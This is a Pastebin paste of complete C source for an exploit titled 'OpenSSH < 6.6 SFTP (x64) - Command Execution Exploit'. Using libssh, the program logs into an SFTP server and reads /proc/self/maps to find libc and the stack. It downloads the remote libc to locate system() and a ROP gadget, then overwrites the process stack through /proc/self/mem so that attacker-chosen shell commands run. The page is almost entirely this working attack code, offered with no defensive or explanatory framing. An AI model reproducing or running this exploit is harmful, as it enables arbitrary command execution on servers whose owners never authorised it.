Advertisement
eawhitehat

OpenSSH < 6.6 SFTP (x64) - Command Execution Exploit

Jul 10th, 2018
122
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.59 KB | None | 0 0
  1. #define _GNU_SOURCE
  2.  
  3. #include <libssh/libssh.h>
  4. #include <libssh/sftp.h>
  5. #include <stdlib.h>
  6. #include <stdio.h>
  7. #include <sys/types.h>
  8. #include <sys/stat.h>
  9. #include <fcntl.h>
  10. #include <string.h>
  11. #include <errno.h>
  12.  
  13. #define min(a,b) (((a)<(b))?(a):(b))
  14.  
  15. sftp_session sftp;
  16.  
  17. size_t grab_file(char *rpath, char **out) {
  18. size_t allocated = 4000, used = 0;
  19. *out = calloc(1, allocated+1);
  20. sftp_file f = sftp_open(sftp, rpath, O_RDONLY, 0);
  21. if (f == NULL) fprintf(stderr, "Error opening remote file %s: %s\n", rpath, ssh_get_error(sftp)), exit(1);
  22. while (1) {
  23. ssize_t nbytes = sftp_read(f, *out+used, allocated-used);
  24. if (nbytes < 0) fprintf(stderr, "Error reading remote file %s: %s\n", rpath, ssh_get_error(sftp)), exit(1);
  25. if (nbytes == 0) {
  26. (*out)[used] = '\0';
  27. sftp_close(f);
  28. return used;
  29. }
  30. used += nbytes;
  31. if (used == allocated) {
  32. allocated *= 4;
  33. *out = realloc(*out, allocated);
  34. }
  35. }
  36. }
  37.  
  38. void dump_file(char *name, void *buf, size_t len) {
  39. FILE *f = fopen(name, "w+");
  40. if (!f) perror("can't write to local file"), exit(1);
  41. if (fwrite(buf, 1, len, f) != len) fprintf(stderr, "local write failed\n"), exit(1);
  42. if (fclose(f)) fprintf(stderr, "fclose error\n"), exit(1);
  43. }
  44.  
  45. size_t slurp_file(char *path, char **out) {
  46. size_t allocated = 4000, used = 0;
  47. *out = calloc(1, allocated+1);
  48. FILE *f = fopen(path, "r");
  49. if (f == NULL) perror("opening local file failed"), exit(1);
  50. while (1) {
  51. ssize_t nbytes = fread(*out+used, 1, allocated-used, f);
  52. if (nbytes < 0) fprintf(stderr, "Error reading local file %s: %s\n", path, strerror(errno)), exit(1);
  53. if (nbytes == 0) {
  54. (*out)[used] = '\0';
  55. if (fclose(f)) fprintf(stderr, "fclose error\n"), exit(1);
  56. return used;
  57. }
  58. used += nbytes;
  59. if (used == allocated) {
  60. allocated *= 4;
  61. *out = realloc(*out, allocated);
  62. }
  63. }
  64. }
  65.  
  66. int main(int argc, char **argv) {
  67. if (argc != 4) fprintf(stderr, "invocation: ./exploit host user 'shell commands here'\n"), exit(1);
  68. char *target_host = argv[1];
  69. char *target_user = argv[2];
  70. char *shell_commands = argv[3];
  71.  
  72. ssh_session my_ssh_session;
  73. int rc;
  74. char *password;
  75. // Open session and set options
  76. my_ssh_session = ssh_new();
  77. if (my_ssh_session == NULL) exit(-1);
  78. ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, target_host);
  79. ssh_options_set(my_ssh_session, SSH_OPTIONS_USER, target_user);
  80. // Connect to server
  81. rc = ssh_connect(my_ssh_session);
  82. if (rc != SSH_OK) fprintf(stderr, "Error connecting to host: %s\n", ssh_get_error(my_ssh_session)), exit(-1);
  83.  
  84. // Authenticate ourselves
  85. password = getpass("Password: ");
  86. rc = ssh_userauth_password(my_ssh_session, NULL, password);
  87. if (rc != SSH_AUTH_SUCCESS)
  88. fprintf(stderr, "Error authenticating with password: %s\n", ssh_get_error(my_ssh_session)), exit(-1);
  89.  
  90. sftp = sftp_new(my_ssh_session);
  91. if (sftp == NULL) fprintf(stderr, "Error allocating SFTP session: %s\n", ssh_get_error(my_ssh_session)), exit(-1);
  92.  
  93. rc = sftp_init(sftp);
  94. if (rc != SSH_OK) {
  95. fprintf(stderr, "Error initializing SFTP session: %s.\n", ssh_get_error(sftp));
  96. sftp_free(sftp);
  97. return rc;
  98. }
  99.  
  100. char *mappings;
  101. grab_file("/proc/self/maps", &mappings);
  102. //printf("/proc/self/maps dump: \n%s\n\n\n", mappings);
  103.  
  104. printf("got /proc/self/maps. looking for libc...\n");
  105. // 7fc9e742b000-7fc9e75ad000 r-xp 00000000 fe:00 2753466 /lib/x86_64-linux-gnu/libc-2.13.so
  106. long long start_addr, end_addr, offset;
  107. char *libc_path = NULL;
  108. long long stack_start_addr = 0, stack_end_addr;
  109. for (char *p = strtok(mappings, "\n"); p; p = strtok(NULL, "\n")) {
  110. if (strstr(p, " r-xp ") && strstr(p, "/libc-")) {
  111. if (libc_path) fprintf(stderr, "warning: two times libc?\n");
  112. printf("mapping line: %s\n", p);
  113. if (sscanf(p, "%Lx-%Lx %*4c %Lx", &start_addr, &end_addr, &offset) != 3) perror("scanf failed"), exit(1);
  114. libc_path = strdup(strchr(p, '/'));
  115. if (libc_path == NULL) fprintf(stderr, "no path in mapping?"), exit(1);
  116. }
  117. if (strstr(p, "[stack]")) {
  118. if (stack_start_addr != 0) fprintf(stderr, "two stacks? no."), exit(1);
  119. printf("mapping line: %s\n", p);
  120. if (sscanf(p, "%Lx-%Lx ", &stack_start_addr, &stack_end_addr) != 2) perror("scanf failed"), exit(1);
  121. }
  122. }
  123. if (libc_path == NULL) fprintf(stderr, "unable to find libc\n"), exit(1);
  124. if (stack_start_addr == 0) fprintf(stderr, "unable to find stack"), exit(1);
  125. printf("remote libc is at %s\n", libc_path);
  126. printf("offset %Lx from libc is mapped to %Lx-%Lx\n", offset, start_addr, end_addr);
  127.  
  128. char *libc;
  129. size_t libc_size = grab_file(libc_path, &libc);
  130. dump_file("libc.so", libc, libc_size);
  131. printf("downloaded libc, size is %zu bytes\n", libc_size);
  132.  
  133. system("objdump -T libc.so | grep ' system$' | cut -d' ' -f1 > system.addr");
  134. char *system_offset_str;
  135. slurp_file("system.addr", &system_offset_str);
  136. long long system_offset;
  137. if (sscanf(system_offset_str, "%Lx", &system_offset) != 1) perror("scanf failed"), exit(1);
  138. long long remote_system_addr = start_addr+system_offset-offset;
  139. printf("remote system() function is at %Lx\n", remote_system_addr);
  140.  
  141. printf("looking for ROP gadget `pop rdi;ret` (0x5fc3) in libc...\n");
  142. char *gadget = memmem(libc+offset, end_addr-start_addr, "\x5f\xc3", 2);
  143. if (gadget == NULL) fprintf(stderr, "no gadget found :(\n"), exit(1);
  144. long long gadget_address = start_addr + (gadget-(libc+offset));
  145. long long ret_address = gadget_address+1;
  146. printf("found gadget at %Lx\n", gadget_address);
  147.  
  148. printf("remote stack is at %Lx-%Lx\n", stack_start_addr, stack_end_addr);
  149. printf("doing it the quick-and-dirty way (that means: pray that the target"
  150. "program was compiled with gcc, giving us 16-byte stack alignment)...\n");
  151. long long stack_len = stack_end_addr - stack_start_addr;
  152. /*if (stack_len > 32000) {
  153. stack_len = 32000;
  154. stack_start_addr = stack_end_addr - stack_len;
  155. }*/
  156. char *new_stack = malloc(stack_len);
  157.  
  158. // first fill it with our ret slide
  159. for (long long *s = (void*)new_stack; s<(long long*)(new_stack+stack_len); s++) {
  160. *s = ret_address;
  161. }
  162.  
  163. // put some shell commands in the head
  164. strcpy(new_stack, shell_commands);
  165.  
  166. // put the mini-ROP-chain at the end
  167. // [address of pop rdi] [stack head] [address of system]
  168. long long *se = (void*)(new_stack + stack_len);
  169. se[-3] = gadget_address;
  170. se[-2] = stack_start_addr;
  171. se[-1] = remote_system_addr;
  172.  
  173. printf("Prepared the new stack. Now comes the moment of truth: push the new stack over and pray.\n");
  174. sftp_file mem = sftp_open(sftp, "/proc/self/mem", O_RDWR, 0);
  175. if (mem == NULL) fprintf(stderr, "Error opening remote memory: %s\n", ssh_get_error(sftp)), exit(1);
  176.  
  177. // first send over the string
  178. rc = sftp_seek64(mem, stack_start_addr);
  179. if (rc) fprintf(stderr, "Error seeking to remote stack: %s\n", ssh_get_error(sftp)), exit(1);
  180. ssize_t mem_written = sftp_write(mem, new_stack, strlen(shell_commands)+1);
  181. if (mem_written != strlen(shell_commands)+1) fprintf(stderr, "didn't write the whole new stack\n");
  182.  
  183. // now send over the rest right-to-left
  184. for (long long off = stack_len-32000; off >= 0; off -= 32000) {
  185. rc = sftp_seek64(mem, stack_start_addr+off);
  186. if (rc) fprintf(stderr, "Error seeking: %s\n", ssh_get_error(sftp)), exit(1);
  187. mem_written = sftp_write(mem, new_stack+off, 32000);
  188. if (mem_written != 32000) fprintf(stderr, "stack write failed – that's probably good :)\n"), exit(0);
  189. }
  190.  
  191. return 0;
  192. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement